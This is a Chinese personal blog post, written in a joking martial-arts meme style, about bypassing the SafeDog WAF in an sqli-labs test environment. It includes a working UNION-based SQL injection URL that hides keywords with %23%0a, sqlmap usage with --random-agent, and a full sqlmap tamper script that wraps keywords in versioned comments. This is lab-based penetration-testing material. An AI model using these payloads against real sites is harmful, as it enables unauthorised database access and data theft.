ma4ter

Index | Photo | About | Friends | Archives

Sql注入打安全哈最重要的就是要会接化发

Sql注入,最重要的就是要会接化发,不会接化发,你就不能说自己会Sql注入。

环境部署

sqli-labs+win版apache安全狗4.0最新版本
下载地址:https://github.com/Audi-1/sqli-labs
Sql注入打安全哈最重要的就是要会接化发
Sql注入打安全哈最重要的就是要会接化发

打狗

接就是要fuzz出waf规则
Sql注入打安全哈最重要的就是要会接化发
然后就是发,发就是把荷载发出去。
我反手就是松果弹抖闪电鞭。
一鞭
Sql注入打安全哈最重要的就是要会接化发
它挡住了,他说这样不行 我说我可以
二鞭,
Sql注入打安全哈最重要的就是要会接化发
这就过去了 很快啊 3列就出来了啊
Sql注入打安全哈最重要的就是要会接化发
经过fuzz发现安全哈咬select
Sql注入打安全哈最重要的就是要会接化发
内联注释又是一鞭过去 这个数字跟mysql版本有关
查账户数据库Sql注入打安全哈最重要的就是要会接化发
还发现可以用union all select配合换行打狗

http://10.35.35.69/sqllabs/Less-1/?id=-1%27%20union%23%0aall%23%0aselect%201,(select%20schema_name%20from%20%23%0ainformation_schema.schemata%20%20limit%202,1),3%23

Sql注入打安全哈最重要的就是要会接化发
这个mysql默认的库得到一个版本才有 多少版本我忘记了
早上起来想编写一个sqlmap的tamper
结果遇到了坑 记录一下 安全哈不讲武德 会拦截sqlmap的user-agent
Sql注入打安全哈最重要的就是要会接化发
加个参数
--random-agent
fuzz后发现安全狗会拦截user() database()这些敏感函数
结合前面的用%23%0a污染一下
Sql注入打安全哈最重要的就是要会接化发
发过去后 发现sqlmap说id可以注入 但是并跑不出来数据库
Sql注入打安全哈最重要的就是要会接化发
请教了一下撕夜表哥
Sql注入打安全哈最重要的就是要会接化发
用Burp代理看下请求
Sql注入打安全哈最重要的就是要会接化发
那么就是tamper脚本中替换user把这个SESSION_USER()函数也替换到了 导致注不出来数据库
传统功夫是讲化劲的 化一下
Sql注入打安全哈最重要的就是要会接化发
把这个函数化回去
发出去
你看 这一鞭就成功打死安全狗
Sql注入打安全哈最重要的就是要会接化发
tamper脚本:

from lib.core.enums import PRIORITY
from lib.core.settings import UNICODE_ENCODING

__priority__ = PRIORITY.LOWEST

def dependencies():
    pass

def tamper(payload, **kwargs):

    if payload:
        payload=payload.replace("ORDER","/*!14400ORDER*/")
        payload=payload.replace("AND","/*!14400AND*/")
        payload=payload.replace("FROM","/*!14400FROM*/")
        payload=payload.replace("UNION","/*!14400UNION*/")
        payload=payload.replace("SELECT","/*!14400SELECT*/")
        payload=payload.replace("USER()","USER%23%0a()")
        payload=payload.replace("SESSION_USER%23%0a","SESSION_USER")

    return payload